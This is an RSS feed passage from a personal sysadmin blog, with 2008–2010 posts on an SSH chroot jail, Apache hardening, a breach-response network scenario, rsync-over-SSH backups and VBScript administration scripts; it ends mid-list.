Advertise with Googlier.com Allan Feid - project https://allanfeid.com/projects en Announcing FreePanel https://allanfeid.com/content/announcing-freepanel <div class="field field-name-body field-type-text-with-summary field-label-hidden view-mode-rss"><div class="field-items"><div class="field-item even" property="content:encoded"><p>What's been keeping me busy? Well I've been working for a managed hosting company (DataPipe) and that has been the biggest source of time suck for me. Outside of that I've been working on some Perl modules to make administrating load balanced servers as easy as possible. For now, read the source if you want to know more:</p> <p><a href="http://github.com/crazed/freepanel/" title="FreePanel on GitHub">FreePanel</a></p> </div></div></div><section class="field field-name-taxonomy-vocabulary-1 field-type-taxonomy-term-reference field-label-above view-mode-rss"><h2 class="field-label">Tags:&nbsp;</h2><ul class="field-items"><li class="field-item even"><a href="/projects" typeof="skos:Concept" property="rdfs:label skos:prefLabel" datatype="">project</a></li><li class="field-item odd"><a href="/category/tags/perl" typeof="skos:Concept" property="rdfs:label skos:prefLabel" datatype="">perl</a></li><li class="field-item even"><a href="/category/tags/freepanel" typeof="skos:Concept" property="rdfs:label skos:prefLabel" datatype="">FreePanel</a></li><li class="field-item odd"><a href="/category/tags/sysadmin" typeof="skos:Concept" property="rdfs:label skos:prefLabel" datatype="">sysadmin</a></li></ul></section> Fri, 15 Jan 2010 17:40:38 +0000 Allan Feid 54 at https://allanfeid.com Creating a Chroot Jail for SSH Access https://allanfeid.com/content/creating-chroot-jail-ssh-access <div class="field field-name-body field-type-text-with-summary field-label-hidden view-mode-rss"><div class="field-items"><div class="field-item even" property="content:encoded"><strong>Update 5/30/2018</strong>: <blockquote><a href="https://twitter.com/CodingFree">@CodingFree</a> points out that the <code>l2chroot</code> script used in this blog post fails to handle <code>/lib64</code>, and <a href="https://twitter.com/el_shoo">@el_shoo</a> confirms everything in this post still works as long as you create <code>/lib64</code>. I have updated the post to reflect this, great to see it still working almost 10 years later.</blockquote> I wanted to setup a way to allow SSH access to my machine but limit their abilities heavily. To do that I figured a chroot jail was the best way. In this example I'm using ArchLinux and OpenSSH 5.1p1. It should be a very similar process on any *nix operating system. <h2>Setup your test user</h2> The way I'm setting this up, is that all my chrooted users will be added to the sshusers group. So we must setup the group, then add the user. <pre> $ groupadd sshusers $ adduser -g sshusers user </pre> <h2>Setup the jail directories</h2> The next step is to setup all the directories needed. This needs to emulate the / directory to a bare minimum. That is we need a dev, etc, lib, usr, and bin directory as well as usr/bin/. The base directory has to be owned by root. <pre> $ mkdir -p /var/jail/{dev,etc,lib,lib64,usr,bin} $ mkdir -p /var/jail/usr/bin $ chown root.root /var/jail </pre> You also need the /dev/null file: <pre>$ mknod -m 666 /var/jail/dev/null c 1 3</pre> You need to fill up the etc directory with a few minimum files: <pre> $ cd /var/jail/etc $ cp /etc/ld.so.cache . $ cp /etc/ld.so.conf . $ cp /etc/nsswitch.conf . $ cp /etc/hosts . </pre> Once this is done you need to figure out what commands you want accessible by your limited users. In this example I only want the users to be able to get into bash and use the ls command. So you must copy the binaries to the jail. <pre> $ cd /var/jail/usr/bin $ cp /usr/bin/ls . $ cp /usr/bin/bash . </pre> Now that you've got all the binaries in place, you need to add the proper shared libraries. To find out what libraries are need you can run ldd /path/to/bin. The output looks similar to this: <pre> $ ldd /bin/ls linux-gate.so.1 => (0xb7f2b000) librt.so.1 => /lib/librt.so.1 (0xb7f1d000) libacl.so.1 => /lib/libacl.so.1 (0xb7f16000) libc.so.6 => /lib/libc.so.6 (0xb7dcf000) libpthread.so.0 => /lib/libpthread.so.0 (0xb7db7000) /lib/ld-linux.so.2 (0xb7f2c000) libattr.so.1 => /lib/libattr.so.1 (0xb7db2000) </pre> Then you have to manually copy each file to the lib directory in your jail. That is a pain. Especially if there is a lot of shared libraries for a binary you want. I came across a useful script called <a href="http://www.cyberciti.biz/files/lighttpd/l2chroot.txt" title="A bash script from nixCraft">l2chroot</a> which automatically finds the libraries and copies them to your chroot jail. <pre> cd /sbin wget -O l2chroot http://www.cyberciti.biz/files/lighttpd/l2chroot.txt chmod +x l2chroot </pre> Edit the l2chroot file and change <cite>BASE=”/webroot” to BASE=”/var/jail”</cite>. This tells l2chroot where your jail is located so it copies everything to the right place. Now go ahead and run the command on the binaries you want. <pre> l2chroot ls l2chroot bash </pre> <h2>Configure SSHd to Chroot your users</h2> All that is left is to set a few things in your sshd configuration file. You need to make sure you have at least OpenSSH 4.8p1, because before that they didn't have this nice ChrootDirectory() function. Previously there was a few extra steps you had to take to get it working, but really you should have a newer version anyway. To configure ChrootDirectory add the following to /etc/ssh/sshd_config: <pre> Match group sshusers ChrootDirectory /var/jail/ X11Forwarding no AllowTcpForwarding no </pre> Note that this also disables X11Forwarding and does not allow port forwarding. If you want to setup a box to allow secure tunneling for your friends, you may want to change this. <h2>Optional Steps</h2> When you login to your test user, you'll notice a prompt as such: <pre>bash-3-2$</pre> That is not a very useful bash prompt. So if you want something a little better I recommend simply copying the contents of /etc/skel to /var/jail/home/user. This gives you a .bashrc file which sets the PS1 variable to a much nicer looking prompt. Here's what mine looks like: <pre> phrygian:~> echo $PS1 \h:\w> phrygian:~> </pre></div></div></div><section class="field field-name-taxonomy-vocabulary-1 field-type-taxonomy-term-reference field-label-above view-mode-rss"><h2 class="field-label">Tags:&nbsp;</h2><ul class="field-items"><li class="field-item even"><a href="/category/tags/linux" typeof="skos:Concept" property="rdfs:label skos:prefLabel" datatype="">Linux</a></li><li class="field-item odd"><a href="/projects" typeof="skos:Concept" property="rdfs:label skos:prefLabel" datatype="">project</a></li><li class="field-item even"><a href="/category/tags/ssh" typeof="skos:Concept" property="rdfs:label skos:prefLabel" datatype="">ssh</a></li><li class="field-item odd"><a href="/category/tags/chroot" typeof="skos:Concept" property="rdfs:label skos:prefLabel" datatype="">chroot</a></li><li class="field-item even"><a href="/category/tags/jail" typeof="skos:Concept" property="rdfs:label skos:prefLabel" datatype="">jail</a></li></ul></section> Wed, 01 Apr 2009 03:57:00 +0000 Allan Feid 39 at https://allanfeid.com Hardening an Apache Server https://allanfeid.com/content/hardening-apache-server <div class="field field-name-body field-type-text-with-summary field-label-hidden view-mode-rss"><div class="field-items"><div class="field-item even" property="content:encoded"><p>Apache is a very popular web server for a Linux environment. Just as most services visible on the Internet, you should implement ways of protecting yourself from malicious users. Here I discuss how I harden my Apache installations as installed through the apt-get package management system on Debian (should be the same on Ubuntu as well). This should easily be applied to other distributions but just note that the locations of files are probably different. </p> <h2>1: Disabling unnecessary modules</h2> <p>When you install apache through apt-get on a Debian based server, it comes with a few modules pre-enabled that give an attacker too much information about your system. These are the <cite>autoindex</cite> and <cite>status</cite> modules. Here's what they do:</p> <ul> <li><em>autoindex:</em> provides a nice list of all the files in a directory where no index file is given</li> <li><em>status:</em> gives you a nice little server monitoring web page to visit</li> </ul> <p>There's more than one way to disable these modules. You can either remove the symlink from <cite>/etc/apache/mods-enabled/</cite> or use a built in command that does the exact same thing.</p> <pre> a2dismod status a2dismod autoindex </pre> <h2>2: Change some of the default settings</h2> <p>By default, most applications give you settings that let them just work. To secure things up you usually have to edit those config files. Well, apache is no different. Open up /etc/apache2/apache2.conf and change the following:</p> <cite>TIP: use the find function of your editor to quickly find these options</cite> <ul> <li>ServerSignature Off <ul><li>Stops your error pages from showing your Apache version number</li></ul></li> <li>ServerTokens Prod <ul><li>Stops HTTP header information from including Apache version information</li></ul></li> <li>Remove or comment out entire <code><? echo htmlspecialchars("<IfModule mod_autoindex.c> ... </IfModule>"); ?></code> section <ul><li>You already disabled this module, no need to have it here</li></ul></li> <li>Remove the Alias /icons/ line along with the directory listing below <ul><li>These icons are only used by the autoindex module, no point in having these here</li></ul></li> </ul> <h2>3: Add some custom configurations</h2> <p>Add these to <cite>/etc/apache2/httpd.conf</cite>. I'll explain what they do in the comments above each line.</p> <pre> <? echo htmlspecialchars("<Directory /var/www>"); ?> # This is used to prevent the TRACE http method from # gathering path information from proxy or cache servers <? echo htmlspecialchars("<LimitExcept GET POST>"); ?> deny from all <? echo htmlspecialchars("</LimitExcept>") ?> # The '-' disables the following options # FollowSymLinks - could allow an attacker to browse # outise the doc tree # # Includes - deals with .shtml; prevents server-side includes # # AllowOverride None - prevents developers from changing # options with .htaccess files other places in the doc tree Options -FollowSymLinks -Includes -Indexes -MultiViews AllowOverride None Order allow,deny Allow from all <? echo htmlspecialchars("</Directory>"); ?> </pre> <p>Also, add this to the same file to prevent access to your root directory (/):</p> <pre> <? echo htmlspecialchars("<Directory />"); ?> Order deny,allow deny from all <? echo htmlspecialchars("</Directory>"); ?> </pre> <h2>4: Change some file permissions</h2> <p>Your public html folder (in Debian by default this is <cite>/var/www</cite>) should be only writable by root. It does still need to be world readable however so apply the following permissions:</p> <pre> chown -R root /var/www chmod -R 775 /var/www </pre> <h2>Summary</h2> <p>This will give you a pretty secure Apache server, but it's by no means complete and depends entirely on what you need to do on your server. This is just a list of my own personal recommendations and is what I use to setup a web server from scratch. The key to staying secure, however, is to keep your systems up-to-date and watch bug tracking mailing lists (Bugtraq for example) for any reports as they often supply workarounds and fixes for these issues.</p></div></div></div><section class="field field-name-taxonomy-vocabulary-1 field-type-taxonomy-term-reference field-label-above view-mode-rss"><h2 class="field-label">Tags:&nbsp;</h2><ul class="field-items"><li class="field-item even"><a href="/category/tags/linux" typeof="skos:Concept" property="rdfs:label skos:prefLabel" datatype="">Linux</a></li><li class="field-item odd"><a href="/projects" typeof="skos:Concept" property="rdfs:label skos:prefLabel" datatype="">project</a></li><li class="field-item even"><a href="/category/tags/debian" typeof="skos:Concept" property="rdfs:label skos:prefLabel" datatype="">Debian</a></li><li class="field-item odd"><a href="/category/tags/apache" typeof="skos:Concept" property="rdfs:label skos:prefLabel" datatype="">Apache</a></li></ul></section> Fri, 30 Jan 2009 02:18:46 +0000 Allan Feid 29 at https://allanfeid.com Scenario: Your company has been hacked. What now? https://allanfeid.com/content/scenario-your-company-has-been-hacked-what-now <div class="field field-name-upload field-type-file field-label-hidden view-mode-rss"><div class="field-items"><div class="field-item even"><table class="sticky-enabled"> <thead><tr><th>Attachment</th><th>Size</th> </tr></thead> <tbody> <tr class="odd"><td><span class="file"><img class="file-icon" alt="PDF icon" title="application/pdf" src="/modules/file/icons/application-pdf.png" /> <a href="https://allanfeid.com/sites/default/files/scenario.pdf" type="application/pdf; length=727516" title="scenario.pdf">scenario.pdf</a></span></td><td>710.46 KB</td> </tr> </tbody> </table> </div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden view-mode-rss"><div class="field-items"><div class="field-item even" property="content:encoded"><p><strong>Key Points</strong><br /> Here's a list of key points that are covered in this scenario:</p> <ul> <li>IP Scheme</li> <li>Workstation Security</li> <ul> <li>Turning off unnecessary services</li> <li>Internet access policies</li> <li>Anti-Virus considerations</li> </ul> <li>Intrusion Detection / Prevention</li> <ul> <li>Man-in-the-middle prevention using ARPwatch</li> <li>Firewall Settings</li> <li>The DMZ</li> </ul> <li>Why do you need this security?</li> </ul> <p><strong>The Scenario</strong><br /> To set things up this is a basic scenario that could happen to anyone. I'll be using the fake name of "InterPath." </p> <p><cite>On April 11th, 2008 InterPath Financial Institution (IFI) was broken into by hackers. They breached into our main headquarters where we maintain all of our customers personal information. We are unsure of what they took, changed, or if they still have access to our computer systems. We have informed all of our customers who's data was stored at the main headquarters. We have about 25,000 customers 15,000 of which are stored at our main headquarters. This is unacceptable and we don't know the damage that's been done.</cite></p> <p>The company, InterPath, has three locations. The headquarters, a call center, and a marketing center. The network's infrastructure is going to be entirely redesigned to include a nice way to transparently monitor everything that goes on. I've come up with a network diagram for each.</p> <p><cite>Main Headquarters, Las Vegas, NV</cite><br /> <center><a href="/sites/default/files/main-headquarters.jpg" title="Click for Full Size"><img src="/sites/default/files/main-headquarters_thumb.jpg" alt="Network Diagram of Main Headquarters" /></a></center></p> <p><cite>Customer Service Call Center, Mesa, AZ</cite><br /> <center><a href="/sites/default/files/call-center.jpg" title="Click for Full Size"><img src="/sites/default/files/call-center_thumb.jpg" alt="Network Diagram for Call Center" /></a></center></p> <p><cite>Marketing Center, Phoenix, AZ</cite><br /> <center><a href="/sites/default/files/marketing-center.jpg" title="Click for Full Size"><img src="/sites/default/files/marketing-center_thumb.jpg" alt="Network Diagram for Marketing" /></a></center></p> <p>All three locations are connected through a high-bandwidth internet connection using IPSec over Layer 2 Tunneling Protocol (L2TP). </p> <p>To read my entire solution to this problem, which goes into much more detail, there is a PDF file attached below. Please feel free to read it and give me any <a href="/contact" title="Contact Me">feedback</a>.</p> </div></div></div><section class="field field-name-taxonomy-vocabulary-1 field-type-taxonomy-term-reference field-label-above view-mode-rss"><h2 class="field-label">Tags:&nbsp;</h2><ul class="field-items"><li class="field-item even"><a href="/projects" typeof="skos:Concept" property="rdfs:label skos:prefLabel" datatype="">project</a></li><li class="field-item odd"><a href="/category/tags/scenario" typeof="skos:Concept" property="rdfs:label skos:prefLabel" datatype="">scenario</a></li></ul></section> Tue, 02 Dec 2008 06:29:12 +0000 Allan Feid 22 at https://allanfeid.com Automated Backup w/ rsync over SSH https://allanfeid.com/content/automated-backup-w-rsync-over-ssh <div class="field field-name-body field-type-text-with-summary field-label-hidden view-mode-rss"><div class="field-items"><div class="field-item even" property="content:encoded"><p>There are four main sections to getting this up and running</p> <ol> <li><a href="#intro">Introduction</a></li> <li><a href="#install">Installing/Configuring Required Software</a></li> </ol> <ul> <li>OpenSSH</li> <li>rsync</li> <li>smbfs (optional)</li> </ul> <li><a href="#windows">Auto-mounting a Windows share (optional)</a></li> <li><a href="#script">Creating a script to do the work for you</a></li> <li><a href="#auto">Automating the backup using cron jobs</a></li> <p><a name="intro" id="intro"></a><strong>Introduction</strong> </p> <p>Before going over everything here, I'd like to point out why this information is useful and define a few terms. Using rsync to create a backup server solution is entirely free and conserves bandwidth. The reason it conserves bandwidth is rsync itself only sends the parts of each file that have changed. FTP sends the entire file each time even if only one word was changed in a file. Sending all of this traffic over SSH ensures security and also protects you from having to run a full rsync server. Key Terms:</p> <ul> <li>Backup server: the PC that will be issuing all the rsync commands and storing the backups</li> <li>Host computer: the PC where we will be getting the files from</li> </ul> <p>With all of that out of the way, it's just a matter of setting everything up. </p> <p><a name="install" id="install"></a><strong>Installing/Configuring Required Software</strong></p> <p>In order to get things going you'll need to install a few pieces of software. In my situation I had a Windwos share that I wanted to back my home folder up to. In order to play around with Windows shares you'll need to also install the samba client. </p> <p><strong>OpenSSH</strong> </p> <p>Simple to install with one line:<br /> <code>sudo apt-get install openssh-server</code></p> <p>Once this is done you will be able to connect but it requires a password entry. This is sort of a problem when we're looking at automating the entire backup process so in order to solve that problem we'll use ssh keys instead. From your backup server we'll need to create an ssh key by issuing the following: </p> <p><code>ssh-keygen -t dsa</code> </p> <p>Now you can either copy the key manually in some fashion or do it over an SSH connection with this: </p> <p><code>scp ~/.ssh/id_dsa.pub username@x.x.x.x:./id_dsa.pub</code></p> <p>Note that <cite>username</cite> is the local account on the host and <cite>x.x.x.x</cite> is the IP of the host. What this will do is copy the public key from the server to our host. After that we need to tell our host PC to use that key as authorization instead of asking for a password.</p> <pre> cd .ssh touch authorized_keys2 chmod 600 authorized_keys2 cat ../id_dsa.pub &gt;&gt; authorized_keys2 rm ../id_dsa.pub </pre><p> Here you can see we just change directory to .ssh and use touch to create the file authorized_keys2. Once the file is created lock it down and only allow the current user to change the file and finally add the public key then remove the original file containing the key. When you finish this try it out. If you're able to connect to your host pc from the backup server over SSH with no password everything has been setup correctly.</p> <p><strong>rsync &amp; smbfs</strong></p> <p>These two are simple to install with just one line:</p> <pre> sudo apt-get install rsync sudo apt-get install smbfs </pre><p> Keep in mind that smbfs is not required it just depends on your setup. If you would like to backup to/from a Windows share then you will want this along with the next section. Otherwise you can skip down to automating the backup using cron jobs.</p> <p><a name="windows" id="windows"></a><strong>Auto-mounting a Windows share (optional)</strong></p> <p>To mount a windows share everytime you boot up you will need to modify your <cite>/etc/fstab</cite> file. You only need to add one line at the end of this file like this:</p> <pre>//x.x.x.x/Backups /media/Backup cifs iocharset=utf8,credentials=/root/.smbcredentials,uid=1000 0 0</pre><p> Of course you must replace <cite>x.x.x.x</cite> with the IP of your Windows computer and "Backups" with the share name. You will also need to create the file <cite>/root/.smbcredentials</cite>.</p> <p><cite>.smbcredentials</cite></p> <pre> username=MyUsername@domain.com password=MyPassword </pre><p> This is a security risk because anyone with root priviledges can read your username/password in plain text so we must lock this down as much as possible. </p> <pre> sudo chown root /root/.smbcredentials sudo chmod 600 /root/.smbcredentials </pre><p> Also as a side note, you won't need "@domain.com" if your PC is not part of a domain. Once all this is down you can mount everything by issuing this:</p> <p><code>sudo mount -a</code></p> <p>You should now be able to access the share by browsing /media/Backups.</p> <p><a name="script" id="script"></a><strong>Creating a script to do the work for you</strong><br /> We're all lazy. Especially with making sure we have up-to-date backups. So to make it easier I've compiled a simple script that will ping the host to make sure it's alive and then execute the rsync command.</p> <p><cite>rsync_backup.sh</cite></p> <pre> #!/bin/bash awk ' function pinger(count,ip) { command = "ping -c "count " " ip while (( command | getline res )&gt; 0 ) { if ( res ~ /0 received|100% packet loss/ ) { close(command) return 100 } } close(command) return 0 } BEGIN { IP="x.x.x.x" if ( pinger(2,IP) == 0 ) { system("rsync -raz --delete --rsh=ssh user@x.x.x.x:/home/user /media/Backup") } }' </pre><p> This will of course need to be modified to work with your setup. Replace <cite>x.x.x.x</cite> with your hosts IP and <cite>/home/user</cite> with the directory you would like to backup.</p> <p><code>rsync -raz --delete --rsh=ssh user@x.x.x.x:/home/user /media/Backup</code></p> <p>Here you can modify the actual rsync command used. The options <cite>r, a, &amp; z</cite> are used for recursive, archive, and compress the data. The delete option deletes files that no longer exist on the source (in this case /home/user) and rsh tells rsync to use ssh. Take a look at the <a href="http://www.samba.org/ftp/rsync/rsync.html" title="Online man page for rsync">man page</a> for further information about available rsync commands.</p> <p><a name="auto" id="auto"></a><strong>Automating the backup using cron jobs</strong></p> <p>To run this script everyday at 11PM you can simply add a cron job.</p> <p><code>crontab -e</code></p> <p>The above starts your default text editor in the file that holds cron jobs. The next line is what should be added to run the script at a certain time everyday.</p> <p><code>0 23 * * * /path/to/rsync_backup.sh</code></p> <p>Take a look at the <a href="http://www.alts.net/servers/extensions/cron/crontab_5.html" title="Online man page for crontab">crontab man page</a> for a more detailed explanation of how cronjobs work.</p> <p><strong>Summary</strong></p> <p>Once this is all setup it's easy to modify to backup multiple PCs from the single backup server. For Windows PCs you can create a share or use the administrative share (\\comp\c$\path\to\files) and auto-mounting in order to back up PCs without installing SSH or rsync. This concept also works for Linux environments but does require a full samba install and configuration. That's the beauty of rsync, you can really do whatever you would like with it. If you have any questions or feel stumped feel free to contact me.</p> <p><a href="/content/my-projects">Back to my projects</a></p> </div></div></div><section class="field field-name-taxonomy-vocabulary-1 field-type-taxonomy-term-reference field-label-above view-mode-rss"><h2 class="field-label">Tags:&nbsp;</h2><ul class="field-items"><li class="field-item even"><a href="/category/tags/linux" typeof="skos:Concept" property="rdfs:label skos:prefLabel" datatype="">Linux</a></li><li class="field-item odd"><a href="/category/tags/windows" typeof="skos:Concept" property="rdfs:label skos:prefLabel" datatype="">Windows</a></li><li class="field-item even"><a href="/projects" typeof="skos:Concept" property="rdfs:label skos:prefLabel" datatype="">project</a></li><li class="field-item odd"><a href="/category/tags/backup" typeof="skos:Concept" property="rdfs:label skos:prefLabel" datatype="">backup</a></li><li class="field-item even"><a href="/category/tags/ssh" typeof="skos:Concept" property="rdfs:label skos:prefLabel" datatype="">ssh</a></li><li class="field-item odd"><a href="/category/tags/rsync" typeof="skos:Concept" property="rdfs:label skos:prefLabel" datatype="">rsync</a></li><li class="field-item even"><a href="/category/tags/automated" typeof="skos:Concept" property="rdfs:label skos:prefLabel" datatype="">automated</a></li><li class="field-item odd"><a href="/category/tags/script" typeof="skos:Concept" property="rdfs:label skos:prefLabel" datatype="">script</a></li><li class="field-item even"><a href="/category/tags/samba" typeof="skos:Concept" property="rdfs:label skos:prefLabel" datatype="">samba</a></li><li class="field-item odd"><a href="/category/tags/networking" typeof="skos:Concept" property="rdfs:label skos:prefLabel" datatype="">networking</a></li></ul></section> Wed, 26 Nov 2008 01:47:52 +0000 Allan Feid 20 at https://allanfeid.com Useful Administrative Scripts https://allanfeid.com/content/useful-administrative-scripts <div class="field field-name-body field-type-text-with-summary field-label-hidden view-mode-rss"><div class="field-items"><div class="field-item even" property="content:encoded"><p>On this page is a few simple scripts I've worked on and probably something all network admins should have in some form. It will make life easier trust me.</p> <ol> <li><a href="#backup">Backup Files for Workstation Rebuild/Migration</a></li> <li><a href="#addusers">Add a list of users to Active Directory from a text file</a></li> </ol> <p><a name="backup" id="backup"></a><strong>Backup Files for Workstation Rebuild/Migration</strong></p> <p>Here's a script I wrote while working as an intern at <a href="http://indcorp.com" title="Innovative Network Design">IND Corp</a>. It's pretty straight forward. What it does is copy files from one location to another by file extension. It also creates a list of printers that are installed and backs up all local user's Favorites folder. </p> <pre> For i = 0 To Ubound(arrFileTypes) WScript.Echo "Copying all " &amp; arrFileTypes(i) &amp; " files..." Log arrFileTypes(i) &amp; " files" Log "-------------------------------------------------------------------" Set objScriptExec = objShell.Exec("xcopy " &amp; source &amp; "\*." &amp; arrFileTypes(i) &amp; " c:\back /C /Y /S") Log objScriptExec.StdOut.ReadAll Next </pre><p><cite>The loop that copies all the files</cite></p> <p>If you look at the snippet above you can see it just uses the built in program called <a href="http://www.computerhope.com/xcopyhlp.htm" title="see command arguments here">xcopy</a> to copy all the files from the source to the destination. The script will actually use input boxes to retrieve the source and destination.</p> <p>This script dose have a few limitations. You cannot set the source to say C: and the destination to C:\backup. This is because of how xcopy works. It will recursively scan C: and it can't copy the files to somewhere that it will be searching for files. Typically, as an administrator you should be backing up to a network share or external drive anyway so this isn't that big of a deal.</p> <pre> strComputer = "." Set objWMIService = GetObject("winmgmts:" _ &amp; "{impersonationLevel=impersonate}!\\" &amp; strComputer &amp; "\root\cimv2") Set colInstalledPrinters = objWMIService.ExecQuery _ ("Select * from Win32_Printer") ' loop through printers and output to file WScript.Echo "Creating list of printers..." Log "Installed Printers" Log "-------------------------------------------------------------------" For Each objPrinter in colInstalledPrinters Log(objPrinter.name) Next </pre><p><cite>Query WMI for the installed printesr</cite></p> <p>Above you see how the script looks at WMI for all the installed printers and just uses the Log function to output it to the output file. Which in this case is called <code>_output.txt</code> and stored in the backup destination. This file will tell you everything that was backed up and give you the printer list.</p> <p><strong>Downloads:</strong> <a href="/sites/default/files/projects/backup/output.txt" title="output file sample">Sample Output</a>, <a href="sites/default/files/projects/backup/copy_files.vbs.txt">Script Source</a>, <a href="/sites/default/files/projects/backup/readme.txt" title="README">Basic Instructions</a></p> <p><a name="addusers" id="addusers"></a><strong>Add a list of users to Active Directory from a text file</strong></p> <p>Features:</p> <ul> <li>Adds users from a specified text file</li> <li>creates a log file to keep track of what is happening</li> <li>Writes to Event Log on successful creation of a user</li> <li>Automatically generates config file if none is present (must be edited to use properly)</li> <li>Easy to configure for people who don't know anything about scripting</li> <li>Ability to assign what OU to store the user in</li> <li>Various options for configuring how a user is added</li> <li>Checks for username conflicts then adds integer to create a unique username</li> </ul> <p>This script will save you tons of time when your company decides to hire a whole bunch of people. Chances are your company will have everything about the new hires in a database. Well with a simple database query you can create a comma separated list to be used with this script. I put a lot of time into this one to make it the most user friendly (well for people that know what they're doing) as possible. Upon first run it creates a configuration file. Which looks something like this:</p> <p><cite># signifies a comment</cite></p> <pre> #Path to text file containing user information user_file=users.txt #Path to OU where new users are added, read README.txt for more info ou_path=ou=OU, ou=To, ou=Path #Fully Qualified Domain Name domain=example.com #Default password for new users default_password=ChangePass1 #force user to change password at next logon force_change=1 #create account disabled account_disabled=1 </pre><p> This really allows it to be used on any network since nothing is hard coded. All the settings are loaded into a dictionary object and called upon when needed. </p> <p>There's also some nice error checking built in that will test to see if a username is already taken. If it is it tries appending an integer and increases it by 1 until it finds a unique username. The naming scheme I used was first initial + last name. It also fills in the users address and phone number. </p> <p><strong>Downloads:</strong> <a href="/sites/default/files/projects/addusers/README.txt" title="README">Read me first!</a>, <a href="/sites/default/files/projects/addusers/AddUsers.vbs.txt" title="Source">Script Source</a>, <a href="/sites/default/files/projects/addusers/users.txt" title="Example User List">Example User List</a></p> <p><a href="/content/my-projects">Back to my projects</a></p> </div></div></div><section class="field field-name-taxonomy-vocabulary-1 field-type-taxonomy-term-reference field-label-above view-mode-rss"><h2 class="field-label">Tags:&nbsp;</h2><ul class="field-items"><li class="field-item even"><a href="/category/tags/vbscript" typeof="skos:Concept" property="rdfs:label skos:prefLabel" datatype="">vbscript</a></li><li class="field-item odd"><a href="/projects" typeof="skos:Concept" property="rdfs:label skos:prefLabel" datatype="">project</a></li></ul></section> Wed, 19 Nov 2008 03:20:20 +0000 Allan Feid 19 at https://allanfeid.com Collect Server Maintenance Information https://allanfeid.com/content/collect-server-maintenance-information <div class="field field-name-body field-type-text-with-summary field-label-hidden view-mode-rss"><div class="field-items"><div class="field-item even" property="content:encoded"><p>This was the first real VBScript I used on the job. I wrote this while I held an intern position at an IT outsourcing company called Innovative Network Design (IND) Corporation in Parsippany, NJ. The reason I wrote it is simple, they kept assigning me to collect specific information from various client servers. So why keep doing it manually? I wrote this code and the employees actually still use it.</p> <!--break--><p><strong>Project Overview:</strong></p> <p>Using VBScript I was able to come up with a way to create a file that shows administrators key information about a Windows Server 2003 machine. There is also a lot of error checking going on behind the scenes and a few things the script user must input before anything happens.</p> <p><strong>Key VBScript Concepts:</strong></p> <ul> <li>Ability to query WMI for various objects</li> <li>Extensive error checking</li> <li>Use of UNC (\\server\share) file paths to allow remote execution</li> <li>Completely modular, all tasks are in their own procedure</li> </ul> <p><strong>User Input Required:</strong></p> <p>Upon starting the script it will ask you where you'd like to backup the Event Logs to along with your initials. The company I was working for did not have a standard place to back up the logs to so it had to be flexible. Also, as a standard practice we would append our initials to the end of the log file name.</p> <p><cite>Ask for a valid directory and check if it exists</cite></p> <pre> ' ask user for backup log location Dim i i = 0 Do While CheckFolderExists(usrFileLoc) = False If i = 0 Then usrFileLoc = InputBox _ ("Directory to backup Log files to:", _ "Input Required") Else usrFileLoc = InputBox _ ("Invalid Directory..." &amp; vbCrLf &amp; _ "Directory to backup Log files to:", _ "Input Required") End If i = i + 1 Loop </pre><p> <cite>Ask the user for his/her initials</cite></p> <pre> ' ask user for initials Do While strInitials = "" strInitials = InputBox("What are your initials?", _ "Input Required") Loop </pre><p> <strong>Error Checking Capabilities:</strong></p> <p>The script will create an dictionary of all the available WMI objects available on the system and before trying to query each WMI object it checks if the WMI object exists in the dictionary. Then log the error to a second dictionary object. At the end of the script it will tell you what problems it encountered or tell you everything ran successfully. The below code shows an example of what is going on before trying to query WMI.</p> <pre> ' check the dictionary objWMIClasses for "Win32_NTLogEvent" If objWMIClasses.Exists("Win32_NTLogEvent") Then ' run the code to check event logs End If </pre><p> <strong>The User Interface:</strong></p> <p>The user interface is entirely command line based. This is used to show progress as the script runs. It can take some time to complete if there are a lot of logs on the system or a lot of partitions (it has to run disk analysis on each one) so this interface gives you a good idea about what is going on.</p> <p><center><img src="/sites/default/files/projects/maint/user_interface.png" alt="the user interface" width="500" height="246" /></center></p> <p>When you see an "X" that means the item completed successfully while as a "!!" means there was an error while checking that individual item. When there is an error you will be shown more information at the end of the script as shown below.</p> <p><center><img src="/sites/default/files/projects/maint/output_msg.png" alt="output message" /></center></p> <p><strong>Output File:</strong></p> <p>The output file is in Rich Text Format (.rtf) for issues related to the company I was working for at the time. To take a look at a full example download an <a href="/sites/default/files/projects/maint/output.rtf" title="Sample Output">example output file</a>.</p> <p><strong>Source Code and Read Me files:</strong></p> <p>Below you can obtain the actual script along with the read me file. The read me file contains a change log which shows my progress.</p> <p><a href="/sites/default/files/projects/maint/maint.vbs.txt" title="Download Script">Download Source Code</a><br /> <a href="/sites/default/files/projects/maint/README.txt" title="Read Me first!">Download README file</a></p> <p><strong>Watch the script in action:</strong></p> <object width="425" height="344"><param name="movie" value="http://www.youtube.com/v/5G7xzRXFf_A&amp;hl=en&amp;fs=1&amp;rel=0&amp;color1=0x2b405b&amp;color2=0x6b8ab6" /><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><embed src="http://www.youtube.com/v/5G7xzRXFf_A&amp;hl=en&amp;fs=1&amp;rel=0&amp;color1=0x2b405b&amp;color2=0x6b8ab6" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"></embed></object><p> <strong>All Information Gathered:</strong><br /> Here's a list of everything that is gathered</p> <ul> <li>Operating System</li> <ul> <li>Name</li> <li>Version</li> <li>Service Pack</li> </ul> <li>CPU Info (listed per core)</li> <ul> <li>Clock speed</li> <li>Manufacture</li> <li>Type</li> <li>Current load</li> </ul> <li>Memory Information</li> <ul> <li>RAM slot number</li> <li>Memory size</li> <li>Speed</li> <li>Type</li> </ul> <li>Hard Drive Info</li> <ul> <li>Model</li> <li>Drive size</li> <li>Drive type</li> <li>Number of partitions</li> <ul> <li>Volume name</li> <li>Volume size</li> <li>Cluster size</li> <li>Used space</li> <li>Free space</li> <li>Percent free space</li> <li>Total fragmentation</li> <li>Disk Analysis defrag recommendation output</li> </ul> </ul> <li>List of errors in the Device Manager</li> <ul> <li>Error message and name</li> </ul> <li>Parsing of all Event Logs on the system</li> <ul> <li>Each unique error outputs the following</li> <ul> <li>Total times this error occurred</li> <li>Category</li> <li>Computer Name</li> <li>Event Code</li> <li>Message</li> <li>Record Number</li> <li>Source Name</li> <li>Time Written</li> <li>Event Type</li> <li>User</li> </ul> </ul> <li>Anti-Virus information (if Symantec AV is installed)</li> <ul> <li>Date last updated definitions</li> <li>Parent Server</li> <li>Client Group</li> <li>Product Version</li> <li>Scan Engine</li> </ul> <li>Windows Updates available</li> <ul> <li>Number of high, normal, and low priority 